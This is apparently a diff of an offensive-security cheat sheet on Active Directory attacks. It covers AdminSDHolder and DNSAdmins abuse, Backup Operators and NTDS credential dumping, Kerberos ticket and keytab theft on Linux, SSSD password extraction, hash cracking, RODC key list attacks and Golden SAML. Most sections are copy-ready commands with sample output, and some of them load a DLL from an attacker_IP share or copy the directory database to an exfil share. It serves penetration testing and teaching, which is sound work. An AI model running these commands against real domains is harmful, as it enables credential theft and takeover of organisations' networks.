bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 add genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
# Clean up after
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 remove genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
```
* Windows only:
```ps1
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```
## DNS Admins Group
> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
:warning: Require privileges to restart the DNS service.
* Enumerate members of DNSAdmins group
* Windows/Linux:
```ps1
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object DNSAdmins --attr msds-memberTransitive
```
* Windows only:
```ps1
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
```
* Change dll loaded by the DNS service
```ps1
# with RSAT
dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
# with DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
```
* Check the previous command success
```ps1
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
```
* Restart DNS
```ps1
sc \\dc01 stop dns
sc \\dc01 start dns
```
## Schema Admins Group
> The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.
## Backup Operators Group
> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.
This groups grants the following privileges :
* SeBackup privileges
* SeRestore privileges
Get members of the group:
* Windows/Linux:
```ps1
bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object "Backup Operators" --attr msds-memberTransitive
```
* Windows only:
```ps1
PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
Enable privileges using [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege)
```ps1
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
Retrieve sensitive files
```ps1
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
```
Retrieve content of AutoLogon in the `HKLM\SOFTWARE` hive
```ps1
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
```
Retrieve `SAM`,`SECURITY` and `SYSTEM` hives
* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```ps1
nxc smb 10.10.10.10 -u user -p password -M backup_operator
```
* [mpgn/BackupOperatorToDA](https://github.com/mpgn/BackupOperatorToDA)
```ps1
.\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\
```
* [improsec/BackupOperatorToolkit](https://github.com/improsec/BackupOperatorToolkit)
```ps1
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
```
## References
* [Pocing Beyond Domain Admin - Part 1 - cube0x0](https://cube0x0.github.io/Pocing-Beyond-DA/)
* [WHATS SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)

View File

@@ -0,0 +1,231 @@
# Active Directory - Linux
## CCACHE ticket reuse from /tmp
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115
$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```
## CCACHE ticket reuse from keyring
Tool to extract Kerberos tickets from Linux kernel keys : <https://github.com/TarlogicSecurity/tickey>
```powershell
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```
## CCACHE ticket reuse from SSSD KCM
System Security Services Daemon (SSSD) maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`.
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`.
By default, the key is only readable if you have **root** permissions.
Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.
```powershell
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
## CCACHE ticket reuse from keytab
```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
## Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use [microsoft/klist](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/klist) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
```
On Linux you can use [sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
```powershell
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
REALM : DOMAIN
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```
On macOS you can use [its-a-feature/bifrost](https://github.com/its-a-feature/bifrost).
```powershell
./bifrost -action dump -source keytab -path test
```
Connect to the machine using the account and the hash with CME.
```powershell
$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
```
## Extract accounts from /etc/sssd/sssd.conf
> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf
The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".
```ini
[sssd]
config_file_version = 2
...
[domain/LDAP]
...
ldap_uri = ldap://127.0.0.1
ldap_search_base = ou=People,dc=srv,dc=world
ldap_default_authtok_type = obfuscated_password
ldap_default_authtok = [BASE64_ENCODED_TOKEN]
```
De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate)
```ps1
./sss_deobfuscate [ldap_default_authtok_base64_encoded]
./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
```
## Extract accounts from SSSD keyring
**Requirements**:
* `krb5_store_password_if_offline = True` in `/etc/sssd/sssd.conf`
**Exploit**:
When `krb5_store_password_if_offline` is enabled, the AD password is stored plaintext.
```ps1
[domain/domain.local]
cache_credentials = True
ipa_domain = domain.local
id_provider = ipa
auth_provider = ipa
access_provider = ipa
chpass_provider = ipa
ipa_server = _srv_, server.domain.local
krb5_store_password_if_offline = true
```
Grab the PID of the SSSD process and hook it in `gdb`. Then list the process keyrings.
```ps1
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```
From the `/tmp/output` locate the `key_id` for the user you want.
```ps1
Session Keyring
237034099 --alswrv 0 0 keyring: _ses
689325199 --alswrv 0 0 \_ user: user@domain.local
```
Back to GDB:
```ps1
call system("keyctl print 689325199 > /tmp/output")
```
## SSH GSSAPI
GSSAPI (Generic Security Services Application Program Interface) is an API that provides security services (such as authentication) and acts as an abstraction layer for different security mechanisms, such as Kerberos.
**Requirements**:
* Write permission on **Public-Information** field
* SSH server supporting GSSAPI authentication: [CCob/gssapi-abuse](https://github.com/CCob/gssapi-abuse)
```ps1
./gssapi-abuse.py -d grandline.local enum -u username -p 'P@ssw0rd'
```
**Methodology**:
Since MIT Kerberos doesn't verify the PAC, controlling a domain account and altering its UPN allows us to masquerade as a different user.
* Modify the `userPrincipalName` inside the **Public-Information** field.
```ps1
bloodyAD --host "dc1.domain.local" -d "domain.local" -u 'username' -p 'P@ssw0rd' set object username userPrincipalName -v 'administrator'
```
* Request a ticket with the `NT_ENTERPRISE` principal because it searches for `userPrincipalName` before `samAccountName` in the ticket.
```ps1
getTGT.py -dc-ip "10.10.10.10" "domain.local"/"username":'P@ssw0rd' -principalType NT_ENTERPRISE
.\Rubeus.exe asktgt /user:Administrator /password:Password /principalType:enterprise
```
* Edit `/etc/krb5.conf` to authenticate to the Linux host via GSSAPI.
```yaml
[libdefaults]
default_realm = DOMAIN.LOCAL
[realms]
DOMAIN.LOCAL = {
kdc = dc1.domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
```
* SSH connection
```ps1
export KRB5CCNAME=username.ccache
ssh -vv -K username@domain.local@linux.domain.local
```
## References
* [20.4. Caching Kerberos Passwords - Red Hat Customer Portal](https://access.redhat.com/documentation/fr-fr/red_hat_enterprise_linux/6/html/identity_management_guide/kerberos-pwd-cache)
* [A broken marriage. Abusing mixed vendor Kerberos stacks - Ceri Coburn - August 25, 2023](https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/?ref=rayanle.cat)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Hack'in 2025 - One Directory - rayanlecat - June 25, 2025](https://www.rayanle.cat/hackin-2025-one-directory/)
* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)

View File

@@ -0,0 +1,46 @@
# Active Directory - Machine Account Quota
In Active Directory (AD), the `MachineAccountQuota` is a limit set on how many computer accounts a specific user or group can create in the domain.
When a user attempts to create a new computer account, AD checks the current number of computer accounts that the user has already created against the defined quota for that user or group.
However, Active Directory does not store the current count of created machine accounts directly in a user attribute. Instead, you would need to perform a query to count the machine accounts that were created by a specific user.
## Machine Account Quota Process
1. **Quota Definition**: The `MachineAccountQuota` is defined at the domain level and can be set for individual users or groups. By default, it is set to **10** for the "Domain Admins" group and to 0 for standard users, limiting their capability to create computer accounts.
```powershell
nxc ldap <ip> -u user -p pass -M maq
```
2. **Creation Process**: When a user attempts to create a new computer account (for example, by using the "Add Computer" option in Active Directory Users and Computers or via PowerShell), the account creation request is made to the domain controllers (DCs).
```powershell
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
```
3. **Quota Evaluation**: Before the account is created, Active Directory checks the current count of computer accounts created by that user. This is done by querying the `msDS-CreatorSID` attribute, which holds the SID of the user who created that object.
The system compares this count to the `MachineAccountQuota` value set for that user. If the count is less than the quota, the creation proceeds; if it equals or exceeds the quota, the creation is denied, and an error is returned.
```powershell
# Replace DOMAIN\username with the actual domain and user name
$user = "DOMAIN\username"
# Get the user's SID
$userSID = (Get-ADUser -Identity $user).SID
# Count the number of computer accounts created by this user
$computerCount = (Get-ADComputer -Filter { msDS-CreatorSID -eq $userSID }).Count
# Display the count
$computerCount
```
4. **Failure Handling**: If the quota is exceeded, the user attempting to create the account will receive an error message indicating that they cannot create a new computer account because they have reached their quota limit.
## References
* [MachineAccountQuota - The Hacker Recipes - 24/10/2024](https://www.thehacker.recipes/ad/movement/builtins/machineaccountquota)
* [MachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory's Oddest Settings - Kevin Robertson - March 6, 2019](https://www.netspi.com/blog/technical-blog/network-penetration-testing/machineaccountquota-is-useful-sometimes/)
* [Machine Account Quota - NetExec - 13/09/2023](https://www.netexec.wiki/ldap-protocol/machine-account-quota)

View File

@@ -0,0 +1,194 @@
# Active Directory - NTDS Dumping
You will need the following files to extract the ntds :
- NTDS.dit file
- SYSTEM hive (`C:\Windows\System32\SYSTEM`)
Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
However you can change the location to a custom one, you will need to query the registry to get the current location.
```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
```
## DCSync Attack
DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
- DCSync only one user
```powershell
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
```
- DCSync all users of the domain
```powershell
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds
netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds drsuapi
```
> :warning: OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.
## Volume Shadow Copy
The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.
- [windows-commands/vssadmin](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/vssadmin)
```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```
- [windows-commands/ntdsutil](https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/use-ntdsutil-manage-ad-files)
```powershell
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```
- [Pennyw0rth/NetExec](https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-ntds.dit) - VSS module
```powershell
nxc smb 10.10.0.202 -u username -p password --ntds vss
```
Alternate way to access a VSS snapshot in GUI:
- Select a snapshot, go to "Previous Versions" tab
- See the properties and recover the path in this format `@GMT-yyyy.MM.dd-HH.mm.ss`
```ps1
Y:\@GMT-2025.07.10-13.05.00
```
## Forensic Tools
A good method for avoiding or reducing detections involves using common forensic tools to dump the NTDS.dit file and the SYSTEM hive. By utilizing widely recognized and legitimate forensic software, the process can be conducted more discreetly and with a lower risk of triggering security alerts.
- Dump the memory with [magnet/dumpit](https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/)
- Use volatility to extract the `SYSTEM` hive
```ps1
volatility -f test.raw windows.registry.printkey.PrintKey
volatility --profile=Win10x64_14393 dumpregistry -o 0xaf0287e41000 -D output_vol -f test.raw
```
- Use [exterro/ftk-imager](https://www.exterro.com/digital-forensics-software/ftk-imager) to read the disk in raw state
- Go to `File` -> `Add Evidence Item` -> `Physical Drive` -> `Select the C drive`.
- Export `C:\Windows\NTDS\ntds.dit`.
- Finally use secretdump: `secretsdump.py LOCAL -system output_vol/registry.0xaf0287e41000.SYSTEM.reg -ntds ntds.dit`
## Extract hashes from ntds.dit
Then you need to use [impacket/secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit
```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```
[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely
```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```
- `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
- `-user-status`: Display whether or not the user is disabled.
## Extract hashes from adamntds.dit
In AD LDS stores the data inside a dit file located at `C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit`.
- Dump adamntds.dit with Shadow copy using `vssadmin.exe`
```ps1
vssadmin.exe create shadow /For=C:
cp "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Program files\Microsoft ADAM\instance1\data\adamntds.dit" \\exfil\data\adamntds.dit
```
- Dump adamntds.dit with Windows Server Backup using `wbadmin.exe`
```ps1
wbadmin.exe start backup -backupTarget:e: -vssCopy -include:"C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit"
wbadmin.exe start recovery -version:08/04/2023-12:59 -items:"c:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" -itemType:File -recoveryTarget:C:\Users\Administrator\Desktop\ -backupTarget:e:
```
- Extract hashes with [synacktiv/ntdissector](https://github.com/synacktiv/ntdissector)
```ps1
ntdissector path/to/adamntds.dit
python ntdissector/tools/user_to_secretsdump.py path/to/output/*.json
```
## Crack NTLM hashes with hashcat
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
Recommended wordlists:
- [Rockyou.txt](https://weakpass.com/wordlist/90)
- [Have I Been Pwned founds](https://hashmob.net/hashlists/info/4169-Have%20I%20been%20Pwned%20V8%20(NTLM))
- [Weakpass.com](https://weakpass.com/)
- Read More at [Methodology and Resources/Hash Cracking.md](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/)
```powershell
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2
# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
```
:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
- [hashmob.net](https://hashmob.net)
- [crackstation.net](https://crackstation.net)
- [hashes.com](https://hashes.com/en/decrypt/hash)
## NTDS Reversible Encryption
`UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED` ([0x00000080](http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm)), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin.
This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
- List users with "Store passwords using reversible encryption" enabled
```powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
```
The password retrieval is already handled by [SecureAuthCorp/secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) and mimikatz, it will be displayed as CLEARTEXT.
## Extract hashes from memory
Dumps credential data in an Active Directory domain when run on a Domain Controller.
:warning: Requires administrator access with debug privilege or NT-AUTHORITY\SYSTEM account.
```powershell
mimikatz> privilege::debug
mimikatz> sekurlsa::krbtgt
mimikatz> lsadump::lsa /inject /name:krbtgt
```
## References
- [Bypassing EDR NTDS.dit protection using BlueTeam tools - bilal al-qurneh - June 9, 2024](https://medium.com/@0xcc00/bypassing-edr-ntds-dit-protection-using-blueteam-tools-1d161a554f9f)
- [Diskshadow The Return Of VSS Evasion Persistence And AD Db Extraction - bohops - March 26, 2018](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
- [Dumping Domain Password Hashes - Pentestlab - July 4, 2018](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
- [Using Ntdissector To Extract Secrets From Adam Ntds Files - Julien Legras, Mehdi Elyassa - December 06, 2023](https://www.synacktiv.com/publications/using-ntdissector-to-extract-secrets-from-adam-ntds-files)

View File

@@ -0,0 +1,82 @@
# Active Directory - Recycle Bin
## Details
* Deleted objects have a default retention time of 180 days
* Recycle Bin path: `CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=example,DC=com`
Enable Active Directory Recycle Bin in PowerShell
```ps1
Enable-ADOptionalFeature -Identity 'CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=com' -Scope ForestOrConfigurationSet -Target 'contoso.com'
```
## Deleted Objects
**Requirements**:
* `LIST_CHILD` right on the Deleted Objects container
* OID `1.2.840.113556.1.4.2064`: shows deleted, tombstoned, and recycled
**Exploitation**:
* List rights
```ps1
bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --resolve-sd --attr ntsecuritydescriptor --base 'CN=Deleted Objects,DC=domain,DC=local' --filter "(objectClass=container)"
```
* Check all rights from the requirements
```ps1
bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get writable --include-del
```
* List deleted objects with bloodyAD
```ps1
bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name
```
* List deleted objects with PowerShell
```ps1
Get-ADObject -Filter 'Name -Like "*User*"' -IncludeDeletedObjects
```
## Restore Objects
**Requirements**:
* `Restore Tombstoned` right on the domain object
* `Generic Write` right on the deleted object
* `Create Child` right on the OU used for restoration
By default, only Domain Admins are able to list and restore deleted objects.
On restoration some objects retains attributes:
* Deleted objects retain all their attributes (including sensitive ones)
* Tombstoned objects retain most important attributes
**Exploitation**:
* Check restore rights
```ps1
bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get object 'DC=domain,DC=local' --attr ntsecuritydescriptor --resolve-sd
bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --filter '(&(isDeleted=TRUE)(sAMAccountName=deleted-computer$))' --attr ntsecuritydescriptor --resolve-sd
bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get object 'CN=Users,DC=domain,DC=local' --attr ntsecuritydescriptor --resolve-sd
```
* Restore the object using the sAMAccountName or objectSID
```ps1
bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 set restore 'S-1-5-21-1394970401-3214794726-2504819329-1104'
```
## References
* [Have You Looked in the Trash? Unearthing Privilege Escalations from the Active Directory Recycle Bin - @CravateRouge - June 25, 2025](https://cravaterouge.com/articles/ad-bin/)

View File

@@ -0,0 +1,68 @@
# Active Directory - Read Only Domain Controller
RODCs are an alternative for Domain Controllers in less secure physical locations
- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server
## RODC Golden Ticket
- You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODCs **msDS-RevealOnDemandGroup** attribute and not in the RODCs **msDS-NeverRevealGroup** attribute
## RODC Key List Attack
**Requirements**:
- [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
- **krbtgt** credentials of the RODC (-rodcKey)
- **ID of the krbtgt** account of the RODC (-rodcNo)
**Exploit**:
- using Impacket
```ps1
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
- Using Rubeus
```ps1
Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
```
## RODC Computer Object
When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
- Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
- Windows/Linux:
```ps1
# Get original msDS-RevealOnDemandGroup values
bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local
# Add the previous value plus the admin account
bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local'
```
- Windows only:
```ps1
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
```
## References
- [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
- [At the Edge of Tier Zero: The Curious Case of the RODC - Elad Shamir](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06)
- [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)

View File

@@ -0,0 +1,133 @@
# Active Directory - Federation Services
Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.
## ADFS - DKM Master Key
* The DKM key is stored in the `thumbnailPhoto` attribute of the AD contact object.
```ps1
$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto
[System.BitConverter]::ToString($key)
```
## ADFS - Trust Relationship
Gets the relying party trusts of the Federation Service.
* Search for `IssuanceAuthorizationRules`
```ps1
Get-AdfsRelyingPartyTrust
```
## ADFS - Golden SAML
Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.
* Golden SAML are effective even when 2FA is enabled.
* The token-signing private key is not renewed automatically
* Changing a users password won't affect the generated SAML
**Requirements**:
* ADFS service account
* The private key (PFX with the decryption password)
**Exploitation**:
* Run [mandiant/ADFSDump](https://github.com/mandiant/ADFSDump) on ADFS server as the **ADFS service account**. It will query the Windows Internal Database (WID): `\\.\pipe\MICROSOFT##WID\tsql\query`
* Convert PFX and Private Key to binary format
